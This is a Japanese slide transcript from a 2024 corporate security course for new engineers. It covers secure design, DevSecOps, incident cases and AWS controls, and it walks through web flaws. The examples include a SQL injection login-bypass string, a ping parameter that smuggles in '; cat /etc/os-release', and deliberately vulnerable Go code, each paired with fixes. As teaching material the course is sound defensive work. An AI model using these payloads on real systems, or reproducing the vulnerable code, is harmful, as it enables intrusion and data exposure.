セキュリティ研修 〜テクニカルパート〜（サイバーエージェント新卒研修2024）

Transcript

1. 24新卒エンジニア向け
 セキュリティ研修
 ～テクニカルパート～
 
 2024/4
 1
2. アジェンダ 1. 概要 2. 開発プロセスでのセキュリティ 3. 代表的な攻撃手法 4. 領域ごとのセキュリティ対策 5. インシデント対応
3. 1 ｜ 概要
4. マネジメント編のおさらい
 • リスク=脅威*脆弱性*情報資産
 マネジメント編のおさらい 4 脅威 情報資産 脆弱性 リスク 【参考】 ISO/IEC 27005:2022 Information technology — Security techniques — Information security risk management
5. ここからは
 • 脅威
 • 脆弱性
 に対して理解を深め、
 リスクを低減する手法を学びます
 午前のおさらい 5 脅威 情報資産 脆弱性 リスク
6. 脅威
 情報システムを通じた不正なアクセス、破壊、露出、情報の改ざん、
 またはサービス停止による、組織の業務や資産、個人、その他の組織
 または国家に悪影響を与える可能性のあらゆる状況またはイベント
 
 脅威を起こす攻撃者を減らしていくというのは難しいです。。
 そのため、脅威について理解することで
 脅威に対して効率的、効果的な予防を行えるように準備しておきましょう
 
 マネジメント編のおさらい 6 リスク
7. 脆弱性
 脅威リソースによって悪用される可能性のある情報システム、
 セキュリティ手順、内部統制、または実装における固有の弱点
 
 こちらは、エンジニアがシステムを堅牢化していくことで
 減らすことが可能です
 脆弱性の原因、その対策について理解してリスクを低減しましょう
 
 
 マネジメント編のおさらい 7 リスク
8. 改めて 8 何のためにセキュリティを意識するのか？ • 利用者を守る • 開発者およびチームを守る • 企業を守る
9. 改めて 9 セキュリティを守れずに、事故が発生してしまうと • 利用者は？ ◦ 個人情報などの機密データが漏洩する ◦ 求めていたサービスを受けられない ◦ 購入、課金した資産が無駄になる ◦ サービスへの信頼を失い、利用しなくなる • 開発者は？ • 企業は？
10. 改めて 10 セキュリティを守れずに、事故が発生してしまうと • 利用者は？ • 開発者は？ ◦ インシデント対応に多大な時間とコストがかかる ◦ 本来実装したい機能の開発スケジュールに遅れが出る ◦ 不正アクセスによる大量リソースの利用による多額の請求 ◦ サービスを停止する必要や、売り上げへの悪影響が出る • 企業は？
11. 改めて 11 セキュリティを守れずに、事故が発生してしまうと • 利用者は？ • 開発者は？ • 企業は？ ◦ 企業イメージに悪影響を与え、他のサービスにまで波及する恐れがある ◦ 顧客の流出、株価の低下など経済的にダメージをうける ◦ 知的財産（ソースコード、特許情報、ビジネス戦略など）が盗まれる
12. ゴール
 皆さんが開発に携わるようになった際に
 • セキュリティを意識して開発を行うことができる
 • 脆弱性・インシデントへの対応策を理解している
 • インシデントに対する心構えができている
 上記のことをできるようになるために、
 取り組むべきことがふわっと理解できている

13. 2 ｜ 開発プロセスでのセキュリティ
14. 開発プロセスでのセキュリティ 何から始めていくのか
 様々な組織が開発におけるセキュリティ向上のガイドラインを
 公開しています
 
 • 日本の独立行政法人であるIPA
 • NPO団体で、セキュア開発を支援する団体のOWASP
 が発表している資料を元に、技術的セキュリティ対策を説明します

15. IPA (情報処理推進機構)
 情報処理技術者試験で馴染みのある方も多いはず
 
 セキュリティの分野では、
 • ガイドラインの作成
 • ソフトウェアなどの脆弱性関連情報とその対策情報を提供
 • セキュリティイベントの開催
 などを行っています
 
 【参考】 https://www.ipa.go.jp/index.html
16. OWASP (Open World Application Security Project)
 OWASP Foundationという非営利団体が支援している、
 ソフトウェアのセキュリティ向上を目的としたプロジェクトです
 
 セキュアな開発ガイドラインの作成・公開、
 Webアプリケーションに関する脆弱性をまとめたOWASP TOP 10、
 脆弱性診断ツールやテスト用の環境などを公開しています
 【参考】 https://owasp.org/
17. この章で学ぶこと
 この章ではまず、IPAが公開しているセキュア・プログラミング講座
 OWASPが公開しているOWASP Developer Guideを元に、
 ソフトウェア開発を行う上で、脆弱性を作り込まないための
 セキュアプログラミングの原則について説明します
 
 その後、開発と運用の中にセキュリティ対策を組み込む
 DevSecOpsの考え方を紹介します
 【参考】 • IPAセキュアプログラミング講座 
 https://www.ipa.go.jp/archive/security/vuln/programming/index.html • OWASP Developer Guide https://owasp.org/www-project-developer-guide/release/
18. セキュアプログラミングの原則
19. セキュアプログラミングの原則 脆弱性を作りこまないためのセキュア･プログラミングの原則について
 設計時と実装時に分けて説明します
 
 まずは、設計段階で意識して欲しいことについて
 セキュアプログラミングの設計原則について一部抜粋して紹介します
 
 

20. セキュアプログラミングの設計原則 • 効率的なメカニズム • フェイルセーフ • 完全な仲介 • 深層防御 • 最小限の権限 • 心理学的受容性 • 既存コンポーネントの活用
21. セキュアプログラミングの設計原則 21 効率的なメカニズム 複雑な設計は、 • 開発、テスト、デバッグにおいてミスを発生する確率を高くする • セキュリティの欠陥がわかりにくくなる • セキュリティの対策も複雑になる というように、脆弱性が発生する可能性を高める そのため、実装はできる限りシンプルにしようという考え方
22. セキュアプログラミングの設計原則 22 フェイルセーフ システムで不具合が発生した際には、機密性、完全性、可用性を維持するため に、安全側に制御するという考え方 権限管理を例えにするならば、 • 明示的に許可がない場合には、権限を与えない 禁止を基本とすることで、認証を迂回される問題などの攻撃や不具合が出た場合 にも権限に関するインシデントを防ぐことができる
23. セキュアプログラミングの設計原則 23 完全な仲介 システムへのすべての操作に対する認可制御を行うこと 用意したセキュリティの機能が迂回されないように、認可制御を回避できないよう にするべきである モバイルアプリやJavaScriptなどによるクライアントとAPIサーバーがあるような場 合にはAPIサーバーで認可制御を行うべきであり、 直接APIを叩かれて認可制御を回避されることがないようにする
24. セキュアプログラミングの設計原則 24 深層防御 複数層のセキュリティ対策を実装することで、攻撃に対する防御を強めるセキュリ ティ戦略 攻撃者が一つの防御層を突破しても、他の層がシステムを保護する • ファイアウォール • 侵入検知システム(IDS) • データ暗号化 • アクセス制御 などのセキュリティ対策を複数組み込むことで、セキュリティを強化する
25. セキュアプログラミングの設計原則 25 最小限の権限 ユーザーやプログラムには、その業務を遂行するのに必要な最小限の権限のみ が与えられるべきであるという原則 不必要な権限を与えないことで、不正アクセスによる受ける被害を最小化する
26. セキュアプログラミングの設計原則 26 心理学的受容性 システムに組み込むセキュリティの仕組みがユーザーや開発者にとって使いやす くなっているべきという原則 ユーザーが理解しづらかったり、使いにくいようなセキュリティ機能では ユーザーはその仕組みを使わない、突破する方法を探してしまう可能性がある
27. セキュアプログラミングの設計原則 27 既存コンポーネントの活用 コードや機能を再利用することで、 新たな脆弱性を発生させないようにする考え方 そのコンポーネントがすでにテストされているものであり、セキュリティアップデート が行われているものであれば安全であると考えられる 人気のあるOSSなども多くの人によって検証されているので、 安全である可能性が高い (もちろん自身でも確認するべき)
28. この章で学ぶこと
 続いて、コーディング、実装を行う上で意識して欲しいこと
 セキュアプログラミングの実装原則について一部抜粋して紹介します
 
 

29. セキュアプログラミングの実装原則 • 入力の検証 • 他のシステムに送信するデータの無害化 • セキュアコーディング標準を採用する
30. セキュアプログラミングの実装原則 30 入力の検証 すべての信頼されていないデータソースからの入力を検証すること 特に、WebアプリなどやAPIを公開する際などのユーザーが入力した値を 利用する場合には注意が必要です 他にも • コマンドライン引数 • 環境変数 • ファイル読み込みなど
31. セキュアプログラミングの実装原則 31 他のシステムに送信するデータの無害化 外部に渡すデータは渡した先で問題を起こさないように加工すること 例えばWebページに表示するために値を渡すのであれば、 クロスサイトスクリプティング対策を施す必要がある ただし、受け取ったデータをどう処理するかを、送信する側ではわからない場合も あるため値を受け取った側で処理することも大事
32. セキュアプログラミングの実装原則 32 セキュアコーディングスタンダードに従う 多くの言語、プラットフォームではセキュアコーディングを行うための ガイドラインが用意されている ガイドラインに沿ってコーディングを行うことにより、 属人化しない統一されたセキュリティ対策を行うことが可能になる 静的コード解析ツールがIDEのプラグインとして用意されており、 ローカルでコーディングを行う際にも活用することができる
33. DevSecOps
34. DevSecOps 34 DevOps 開発（Development）と運用（Operations）が密接に連携することで、 開発する速度を向上させる取り組みのこと
35. DevSecOps 35 Dev code build test release deploy operate monitor plan Ops
36. DevSecOps 36 DevSecOpsとは？ DevOpsのアプローチにセキュリティ（Security）を統合し、 セキュリティを確保しつつ開発スピードを損なわない開発スタイル
37. DevSecOps 37 脅威モデリング コードレビュー 静的コード解析 脆弱性診断 不正アクセス監視 ログ監査 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
38. DevSecOps 38 脅威モデリング コードレビュー 静的コード解析 脆弱性診断 不正アクセス監視 ログ監査 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
39. DevSecOps 39 脅威モデリング ソフトウェア、サービスへの 不正アクセスや意図しないセキュリティホールの作成を予防するために、 ソフトウェアが持つべき機能を分析すること • システムの弱点を特定すること • 弱点を特定し、許容可能なレベルまでリスクを低減すること に利用する 脅威分析手法には、STRIDEやDREADというものが存在する
40. DevSecOps 40 STRIDE 脅威を６つの種類に分類して、分析を行う手法 Spoofing(スプーフィング)：攻撃者が他のユーザ/システムになりすまし可能 Tampering(改ざん)：攻撃者がデータまたはコードの改ざんができる Repudiation(否認)：攻撃者が攻撃をしていないと主張できる Information Disclosure(情報漏えい)：攻撃者が機密情報にアクセスできる Denial of Service(サービス拒否)：攻撃者がサービスを停止できる Elevation of Privilege(特権の昇格)：攻撃者が特権を取得できる 【参考】 https://learn.microsoft.com/ja-jp/azure/security/develop/threat-modeling-tool-threats#stride-model
41. DevSecOps 41 脅威分析 コードレビュー 静的コード解析 脆弱性診断 不正アクセス監視 ログ監査 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
42. コードレビュー、静的コード解析 42 コードレビュー、静的コード解析
 手動またはツールを利用した自動化によって、
 コードをレビュー、分析すること
 この工程を行うことによって、
 デプロイされる前に潜在的な脆弱性を取り除くことができる
 ツールを用いた解析手法では、
 • SAST (静的アプリケーションセキュリティテスト)
 • SCA (ソフトウェアコンポジション解析)
 を紹介する
 

43. SAST
 SAST (静的アプリケーションセキュリティテスト)
 ソースコードを解析して、脆弱性をチェックする手法
 実際にアプリケーションを動作させずにテストを行うため、
 開発の早い段階から組み込みやすい
 • IDEのプラグインとして利用 • CI/CDパイプラインに組み込むことで、 継続的にテストを実施する

44. SCA
 SCA(ソフトウェア・コンポジション解析)
 ソフトウェアに含まれるOSSやライブラリを特定して、 脆弱性を特定する手法やツールのこと 例えば、GitHubであれば依存関係の確認と説明されており、 脆弱性のある依存関係を使用している際にアラートを通知する 【参考】 https://docs.github.com/ja/code-security/supply-chain-security/understanding-your-software-supply- chain/about-dependency-review
45. DevSecOps 45 脅威分析 コードレビュー 静的コード解析 脆弱性診断 不正アクセス監視 ログ監査 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
46. 脆弱性診断 46 脆弱性診断 (DAST)
 実際に動作しているシステムに対して擬似的に攻撃を行い、
 その挙動から脆弱性の有無をテストすること
 • ネットワーク (FWルールの設定ミスなど)
 • ミドルウェア (設定ミスや脆弱性)
 • アプリケーション (独自に開発した部分)
 のテストを行い、作成したシステムに脆弱性がないかを確認する

47. DevSecOps 47 脅威分析 コードレビュー 静的コード解析 脆弱性診断 不正アクセス監視 ログ監査 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
48. セキュアな構成 48 セキュアな構成
 セキュリティとデータの完全性を維持するためのベストプラクティス
 開発で使用する全ての環境が安全に構成されている必要がある
 セキュアな構成を維持するため、
 • コードを使用したインフラ管理 IaC (Infrastructure as a Code)
 • アプリケーションのリリースプロセスの管理
 • 構成変更に対する検知
 を行って、常に安全な状態が維持できていることを目指す
 

49. DevSecOps 49 脅威分析 コードレビュー 静的コード解析 脆弱性診断 ログ監査 不正アクセス監視 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
50. ログ監査 50 ログ監査
 アプリケーションとそのアプリケーションが実行されている環境の
 ログを収集、分析、管理するプロセス
 ログを記録することで、インシデントの兆候を検出する
 • セキュリティ侵害の検出
 • 不正アクセスの試行への検知
 
 

51. DevSecOps 51 脅威分析 コードレビュー 静的コード解析 脆弱性診断 ログ監査 不正アクセス監視 セキュアな構成 Dev code build test release deploy operate monitor plan Ops
52. 不正アクセス監視 52 不正アクセス監視
 取得したログやクラウド環境などのサービスを利用して
 インシデントの兆候を検知すること
 後半のインシデント対応で説明します

53. まとめ 53 まとめ
 • 設計段階からセキュリティを意識することで、
 脆弱性を埋め込まないようにしましょう
 • プロダクトを開発・運用するプロセスに
 セキュリティを組み込み、安全なシステムを開発しましょう

54. 3 ｜ 代表的なインシデント事例
55. 代表的なインシデント事例 55 ここからは、それぞれ • クラウド環境 • Webアプリケーション • モバイルアプリケーション の３つに分けて、実際に発生したインシデント事例と その原因・対策について紹介します
56. クラウド環境
57. クラウド環境の誤設定による情報漏洩 57 概要
 クラウドストレージやデータベースが誤って公開設定になっており、 その中に含まれていた個人情報や機密情報が漏洩
58. クラウド環境の誤設定による情報漏洩 58 事例(マネジメント編のおさらい)
 
 概要
 　・車両利用者に対しナビゲーション等を提供するサービスにおいて、
 　　個人情報を含むデータが、クラウド環境の誤設定により公開状態となっていた
 
 被害（漏れた可能性のある情報）
 　・情報：車載端末ID、車台番号、車両の位置情報、時刻
 　・件数：約215万人分
 　・期間：2013年11月6日 ～ 2023年4月17日（10年弱！）
 

59. クラウド環境の誤設定による情報漏洩 59 影響 • 個人情報や内部文書が外部から閲覧可能になり大規模な漏洩事故に • データが破壊されて、サービス運営に支障が出ることも 対策 • ストレージのアクセス設定を定期的に確認して、外部からのアクセスが必要 ないデータは内部からのみアクセス可能にする • 必要なサービスやユーザーのみがデータにアクセスできるよう、 最小限の権限原則を適用する
60. クラウドアカウントの乗っ取り 60 概要
 • Webアプリケーションの脆弱性をついた攻撃 • フィッシング攻撃 • 認証情報の漏洩 • 退職者が在籍中に使用していたアカウントを利用する などにより、クラウド管理アカウントがのっとられてしまう
61. クラウド環境の誤設定による情報漏洩 61 事例 WAFの設定ミスが原因で、SSRF攻撃が有効になっていた 攻撃者は設定ミスを悪用し、 WAFを介してAWS EC2のインスタンスメタデータへの接続に成功 被害 • クレジットカードへの申し込みを行った消費者、中小企業に関する情報
 • 2005年～2019年初めまでの間に収集された情報が対象
 • 氏名、住所、郵便番号、電話番号、メールアドレス、生年月日、年収
 • 米国で約 1 億人、カナダで約 600 万人に被害が及んだ

62. クラウドアカウントの乗っ取り 62 影響 • 攻撃者が不正なリソースを作成し、 ◦ コインマイニングを行われる ◦ 攻撃者が別のターゲットを攻撃する際の攻撃元とされる • クラウド環境のリソース全てが漏洩、破壊される危険性がある 対策 • アカウントの棚卸しを行う • 多要素認証 (MFA)を利用する • 運用するシステムの脆弱性管理
63. APIキーやシークレットの漏洩 63 概要
 • APIキーやクラウド環境のシークレットをGitHubなどに誤公開 • ソースコードに埋め込み、Webから閲覧可能になる などによりキーが漏洩し、攻撃者がクラウド環境へアクセス
64. APIキーの漏洩 64 影響 クラウドアカウントの乗っ取りと同様に • 攻撃者が不正なリソースを作成することが可能 • クラウド環境のリソース全てが漏洩、破壊される危険性がある 対策 • リポジトリにAPIキーをコミットしない、した場合は即時ローテート • 各サービスのシークレット管理の仕組みに従う ◦ AWS Secret Manager ◦ GitHub Secretsなど
65. Webアプリケーション
66. SQLインジェクション 66 概要
 Webアプリケーションの入力フォームを通じて、 不正なSQLクエリがデータベースに注入され、機密情報が抽出される
67. SQLインジェクション 67 事例の概要 オンラインサービスサイトにおいて、 SQLインジェクションを利用した不正アクセスが行われた 被害 数万件のクレジットカード情報が漏洩 【流出した可能性のあるクレジットカード情報】 ・クレジットカード名義人 ・クレジットカード番号 ・有効期限
68. SQLインジェクション 68 影響 • データベースに保存されている個人情報などの流出 • データベースに保存されている情報の改ざん、消去 対策 • 入力値のサニタイズとバリデーションを実施し、SQLクエリの実行前に不正な 入力を排除する • プリペアドステートメントを利用したSQL文の構築 • 保存されている機密情報の暗号化
69. SSRF(サーバーサイドリクエストフォージェリ) 69 概要 他サーバーへリクエスト送信する時に、送信先を指定できる脆弱性 通常アクセスできない内部のサーバーへ、攻撃を仕掛けることが可能に 外部公開サーバー 内部サーバー
70. SSRF(サーバーサイドリクエストフォージェリ) 70 影響 • 外部に公開していないサーバーの脆弱性をついた攻撃を受ける可能性 • クラウド環境などでは、クレデンシャル情報が取得されることもある 対策 • 入力値のサニタイズとバリデーションを実施し、送信先を制限 • リクエスト対象がある程度定まっている場合、ホワイトリストを作成 • リクエスト送信先からのレスポンスをそのまま利用者に送らない
71. アクセス制御の不備 71 概要 アプリケーションがユーザーやプロセスに適切に認可を行わず、 不正なユーザーが保護された操作やデータにアクセスできる脆弱性 例えば、他のユーザーの住所情報を閲覧、編集できてしまうなど 実装の不備により、適切な認可が行われない状態になることや 設計段階で、認可制御を無視した仕様にならないように気をつけましょう
72. アクセス制御の不備 72 影響 • 他の利用者の情報へのアクセス、機密情報の漏洩 • 本来、その利用者では実行できない機能の利用 対策 • サーバーでユーザーの認証、認可の制御を必ず行う • 適切なポリシーの実装 • 設計段階でのセキュリティレビュー
73. モバイルアプリケーション
74. Custom URL Schemeを利用したアクセス制限の不備 74 事例 e-Gov電子申請アプリケーションにおける Custom URL Scheme の処理にアクセス制限不備の脆弱性 参考 : https://jvn.jp/jp/JVN15808274/
75. Custom URL Schemeを利用したアクセス制限の不備 75 Custom URL Schemeとは？ • アプリの特定の機能に直接アクセスできるディープリンクの一種 ◦ 各OSごとに、Universal Links,App Linksなどの実装方法がある • myapp://~~ など指定したリンクをクリックした際に、 アプリの任意の画面に遷移させることができる
76. Custom URL Schemeを利用したアクセス制限の不備
 shopapp://~~ のリンクから 画面を開く正規アプリを作成し ストアで公開 shopapp://~~ のリンクから 画面を開く偽アプリを作成し フィッシングサイト等で配布 ダウンロード
77. Custom URL Schemeを利用したアクセス制限の不備
 セール情報をリンクと公開 shopapp://~~ 偽アプリによる被害が発生 偽アプリの入った スマホでクリック 偽アプリが開く
78. Custom URL Schemeを利用したアクセス制限の不備 78 影響 • フィッシングサイトによる個人情報、アカウント情報の漏洩 • アプリ、企業への信頼の喪失 対策 • OSごとの適切なディープリンクの実装 • 遷移先のURLを検証・制限し、適切なリンク以外はエラー処理を行う
79. アプリ内課金のレシート検証不備 79 概要 購入レシートの検証が適切に行われないことで、不正な購入が行われる サーバーサイドでの検証不備もありますが、 特に、クライアントサイドのみで検証を実施している場合には 手軽にレシート検証を迂回される恐れがあります
80. アプリ内課金のレシート検証不備
 アプリ ストア サーバー アイテム購入 購入情報 購入情報 検証 検証結果 購入処理 プラットフォーム
81. アプリ内課金のレシート検証不備
 アプリ ストア サーバー アイテム購入 購入情報 購入情報 検証 検証結果 購入処理 プラットフォーム
82. アプリ内課金のレシート検証不備
 アプリ ストア サーバー アイテム購入 購入情報 購入情報 検証 検証結果 購入処理 プラットフォーム レシート検証に不備がある場合、 不正な購入処理を行われる可能性がある
83. アプリ内課金のレシート検証不備 83 影響 • 課金が正しく行われず、サービスで本来受け取る利益が受け取れない • 情報が公になることにより、サービスや企業に不信感を与える 対策 • クライアントサイドのみでのレシート検証を行わない • プラットフォームごとのレシート検証メカニズムに従う
84. モバイルゲームでのチート行為 84 概要 不正な手段でゲーム内アイテムを取得、スコアの改ざんを行う行為 ゲームの公平性を損ない、正直なプレイヤーの体験を害する可能性がある 主に以下のパターンに分類される • メモリの改ざんによるチート行為 • 通信の改ざんによるチート行為 • アプリケーションの改ざんによるチート行為
85. モバイルゲームでのチート行為 85 事例 サーバーに虚偽のデータを送信して、 ゲーム内で使用できるアイテムを不正に入手するチート行為を実行
86. モバイルゲームでのチート行為 86 影響 • ゲームの品質、ユーザー体験が低下する恐れがある • ユーザー離れによるゲームの収益性に影響を及ぼす 対策 • 重要なロジックをサーバーサイドで行い、ユーザーに触れさせない • ゲーム内の重要なパラメータは暗号化する • サーバーへ送られるリクエストのパラメータを検証する • チート行為に関する指標をモニタリングできる状態にして、チート行為者を特 定できる状態を作る
87. まとめ
 • インシデントが発生することによりどのような被害をうける ことになるのか
 • Webアプリケーションとクラウド環境や
 APIサーバーとモバイルアプリケーションなどの
 領域を跨いだ攻撃もあること
 
 次章では、実際に脆弱性を防ぐための対策について
 深掘って説明します

88. 4 ｜ 領域ごとのセキュリティ対策
89. 領域ごとのセキュリティ対策 89 ここからも、それぞれ • クラウド環境 • Webアプリケーション • モバイルアプリケーション の３つに分けて、 実際にどのようなセキュリティ対策を施すべきなのかについて紹介します
90. クラウド環境
91. 前置き
 ※ 開発研修ではAWSを利用するので、
 AWSの内容を中心に説明します
 
 サイバーエージェントでは
 別途AWS様によるセキュリティ研修を受けるため、
 本資料には、一部のみ記載しています

92. マネジメント編のおさらい
 クラウド環境利用時のインシデントは誰の責任か？
 
 
 【参考】 https://aws.amazon.com/jp/compliance/shared-responsibility-model/
93. 責任共有モデル
 S3における責任共有モデル
 AWSの責任
 • AWS サービスを実行するインフラストラクチャを保護する責任
 
 利用者の責任
 • オブジェクトの所有権 および暗号化 を含むデータの管理 • アセットの分類 • 適切な権限を適用したデータへのアクセスの管理 • ディテクティブコントロールの有効化

94. 責任共有モデル AWS 責任共有モデル https://aws.amazon.com/jp/compliance/shared-responsibility-model/ GCP Google Cloud における責任の共有と運命の共有 https://cloud.google.com/architecture/framework/security/shared-responsibility-shared-fate Azure クラウドにおける共同責任 https://learn.microsoft.com/ja-jp/azure/security/fundamentals/shared-responsibility
95. AWSにおけるセキュリティ対策
 • アイデンティティとアクセス管理について
 • バケット、その他サービスのアクセス権限
 • セキュリティ機能の活用

96. AWSにおけるセキュリティ対策
 • アイデンティティとアクセス管理について
 ◦ ルートアカウントを使用しない
 ◦ MFAによるアカウント保護
 • バケット、その他サービスのアクセス権限
 • セキュリティ機能の活用

97. ルートアカウントを使用しない
 ルートアカウントとは？
 • AWSアカウント作成時に同時に作られるアカウント
 • 全AWSサービスとリソースに無制限のアクセス権限を持つ
 
 ルートアカウントが漏洩してしまうと、
 漏洩した環境の破壊、汚染、解約などができてしまいます
 

98. ルートアカウントを使用しない
 ルートアカウントを守るために
 • ルートアカウントに強度なパスワードを設定する
 • ルートアカウントのアクセスキーを有効化しない
 • ルートアカウントにMFAを設定する
 • 日頃の作業は、IAMユーザー、IAMロールを利用する
 

99. AWSにおけるセキュリティ対策
 • アイデンティティとアクセス管理について
 • バケット、その他サービスのアクセス権限
 ◦ S3バケットのアクセス権限
 ◦ セキュリティグループの設定
 • セキュリティ機能の活用

100. S3バケットのアクセス権限
 S3(Simple Storage Service)とは？
 • 大規模なデータストレージサービス
 • バケット単位で、オブジェクトを管理
 • 低コスト
 
 静的ファイル、ログ、バックアップなど様々な用途で
 使用することになると思います

101. S3バケットのアクセス権限
 S3のアクセス制御
 • バケットポリシーによるアクセス管理
 • Block Public Accessの設定
 

102. S3バケットのアクセス権限
 S3のアクセス制御
 • バケットポリシーによるアクセス管理
 
 バケットポリシーを利用する際は、適切な権限をもつユーザーだけ
 オブジェクトにアクセスをできるようにしましょう
 
 ※ デフォルトでは無効、不要に公開範囲を広げないように
 
 必要以上に、公開範囲の広いポリシーを適用してしまうことで
 オブジェクトが外部に漏洩する可能性があります
 
 

103. S3バケットのアクセス権限
 S3のアクセス制御
 • Block Public Accessの設定
 S3オブジェクトに対しての外部からの操作とS3バケットのポリシーを
 外部から変更する操作をブロックしてくれる機能
 
 デフォルトで有効になっており、不要に範囲を広げないように

104. セキュリティグループの設定
 セキュリティグループとは？
 リソースに対する、イン/アウトのトラフィックを制御する機能
 
 例えば、EC2インスタンスにセキュリティグループを紐づけると
 • インスタンスに届くトラフィック
 • インスタンスから送られるトラフィック
 を制御できます
 

105. セキュリティグループの設定
 セキュリティグループの設定
 セキュリティグループを紐づけるリソースには、
 その公開範囲に応じたルールを付与しましょう
 
 SSH、データベースなどのポートを外部に公開することにより、
 誰でもアクセス可能になってしまいます
 
 ステージング、開発環境などを制限なしに外部に公開することも
 新機能の情報漏洩、不正アクセスの発端になる可能性があります

106. AWSにおけるセキュリティ対策
 • アイデンティティとアクセス管理について
 • バケット、その他サービスのアクセス権限
 ◦ S3バケットのアクセス権限
 ◦ セキュリティグループの設定
 • セキュリティ機能の活用

107. セキュリティ機能の活用
 実際にクラウド環境を利用していく上で、
 環境内の悪意ある行動を検知できることが必須になります
 
 その中で、
 • ユーザーのアクティビティやAPIの利用を記録するCloudTrail
 • 脅威検出と継続的な監視で環境を保護するGuardDuty
 について説明します
 AWS CloudTrail Amazon GuardDuty
108. AWS CloudTrail
 
 AWSアカウントで行われた操作の記録を行う
 
 設定により、ログはS3へ保存される
 
 ２種類のイベントタイプに分類され、
 • 管理イベント (無料)
 • データイベント
 が記録、保存される
 AWS CloudTrail
109. AWS CloudTrail
 CloudTrailでは２種類のイベントを記録します
 • リソースのCRUD操作をキャプチャする管理イベント
 ◦ EC2インスタンスの起動
 ◦ S3バケットを作成または削除する
 ◦ IAM認証情報の生成など
 • リソース内で実行された行動をキャプチャするデータイベント
 ◦ S3 オブジェクトの読み取りや書き込み
 ◦ AWS Lambda関数の呼び出し

110. Amazon GuardDuty
 
 マネージド型の脅威検出サービス
 
 アカウント内のリソースを継続的に監視し、
 悪意のあるアクティビティや不正検知を行う
 
 Amazon GuardDuty
111. Amazon GuardDuty
 GuardDutyが検知する内容の一例
 • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
 ◦ EC2インスタンスで作成された一時的なAWS認証情報が
 外部IPアドレスから使用されているという検知
 
 この検知がなされると、クレデンシャルを窃取されて攻撃に使用されてい る可能性がある
 

112. Webアプリケーション
113. Webアプリケーションの脆弱性
 どんな脆弱性があるのか？
 
 安全なウェブサイトの作り方
 https://www.ipa.go.jp/security/vuln/websecurity/ug65p900000196e2-att /000017316.pdf
 OWASP TOP 10:2021
 https://owasp.org/Top10/ja/
 脆弱性診断項目表
 https://security-portal.ssg.isca.jp/441

114. Webアプリケーションの脆弱性
 安全なウェブサイトの作り方
 
 • SQLインジェクション
 • OSコマンド・インジェクション
 • パス名パラメータの未チェック/ディレクトリ・トラバーサル
 • セッション管理の不備
 • クロスサイト・スクリプティング
 • CSRF(クロスサイト・リクエスト・フォージェリ)
 • HTTPヘッダ・インジェクション
 • メールヘッダ・インジェクション
 • クリックジャッキング
 • バッファオーバーフロー
 • アクセス制御や認可制御の欠落

115. Webアプリケーションの脆弱性
 OWASP TOP 10:2021
 
 • アクセス制御の不備
 • 暗号化の失敗
 • インジェクション
 • 安全が確認されない不安な設計
 • セキュリティの設定ミス
 • 脆弱で古くなったコンポーネント
 • 識別と認証の失敗
 • ソフトウェアとデータの整合性の不具合
 • セキュリティログとモニタリングの失敗
 • サーバーサイドリクエストフォージェリ (SSRF)

116. SQLインジェクション
 アプリケーション経由で、外部からデータベース(DB)に対して
 任意のSQLコマンドが実行できる脆弱性、または攻撃

117. SQLインジェクション
 利用者はユーザーIDとパスワードを入力し、
 ログインのリクエストを送信する
 ユーザー Webサーバー DBサーバー https://example.com/login?user_id=hoge&password=fuga
118. SQLインジェクション
 Webサーバーはユーザーが入力した値を元にクエリを組み立て、
 DBサーバーへ送信します
 ユーザー Webサーバー DBサーバー SELECT username FROM users WHERE user_id = 'hoge' and password = 'fuga';
119. SQLインジェクション
 SQLインジェクションに対する対策がなされていないと、
 攻撃者によって不正な入力を行われた際に
 攻撃者 Webサーバー DBサーバー https://example.com/login?user_id=hoge&password=fuga' or '1' = '1' --;
120. SQLインジェクション
 or '1' = '1' --; の条件がついたSQLクエリとなってしまい、
 WHERE句が常にtrueとなり、不正ログインが可能になる
 Webサーバー DBサーバー SELECT username FROM users WHERE user_id = 'hoge' and password = ' fuga' or '1' = '1' --;' 攻撃者
121. SQLインジェクション
 原因
 SQLのクエリ生成ロジックに問題がある
 
 
 悪い例 func Login(userID, password string) User { query = "SELECT username FROM users WHERE user_id ='" + userID + "' and password ='" + password + "'" user = DB.Query(query) return user } 実際のパスワードは暗号化されて保存されるので このようなクエリを叩かれることはありません 説明のために簡略化しています
122. SQLインジェクション
 対策
 • クエリの生成をプレースホルダ（Prepared Statement)で実装する
 
 プリペアドステートメントを使用した例 func Login(userID, password string) User { query = "SELECT username FROM users WHERE user_id = $1 and password = $2" user = DB.Query(query, userID, password) return user }
123. OSコマンドインジェクション
 アプリケーション経由で、外部から任意のOSコマンドが
 実行できる脆弱性、または攻撃

124. OSコマンドインジェクション
 ユーザーが指定したパラメータのIPアドレスやドメインに対して、
 疎通確認を行う機能があり、
 https://example.com/ping?ip_address=nanika.site ユーザー Webサーバー
125. OSコマンドインジェクション
 Webサーバーはユーザーが入力した値を元にコマンドを組み立て、
 OSコマンドを実行し、その結果をレスポンスにする
 ユーザー Webサーバー ping -t1 nanika.site
126. OSコマンドインジェクション
 OSコマンドインジェクションに対する対策がなされていないと、
 攻撃者によって不正な入力を行われた際に
 https://example.com/ping?ip_address=127.0.0.1; cat /etc/os-release 攻撃者 Webサーバー
127. OSコマンドインジェクション
 ; cat /etc/os-releaseのコマンドが追加されてしまい、
 pingの後に、ファイルの中身を確認する処理が行われてしまう
 ping -t1 127.0.0.1; cat /etc/os-release 攻撃者 Webサーバー
128. OSコマンドインジェクション
 原因
 外部のプログラムを呼び出すこと自体に、
 もしくは関数の引数の処理に問題がある
 
 悪い例 func Ping(target string) string { command = "ping -t1 " + target output = exec.Command(command).Output() return output }
129. OSコマンドインジェクション
 対策
 • 外部プログラムを実行する実装を避け、別の手段を考える
 • 外部プログラムの実行コマンド、引数に外部からのインプットを
 直接使用しない
 ◦ 外部からのインプットを元に、予め用意している値から選ぶ
 
 

130. ディレクトリ・トラバーサル
 アプリケーション経由で、外部から任意のファイルへの
 アクセスが行える脆弱性、または攻撃

131. ディレクトリ・トラバーサル
 利用者の情報をサーバー内部でテキストで保存しているサイトで
 リクエストのパラメータから表示するファイルを指定する
 https://example.com/read_file?file_name=user1.csv ユーザー Webサーバー
132. ディレクトリ・トラバーサル
 Webサーバーは受け取ったパラメータのファイル名を読み込み、
 そのデータをユーザーに返却します
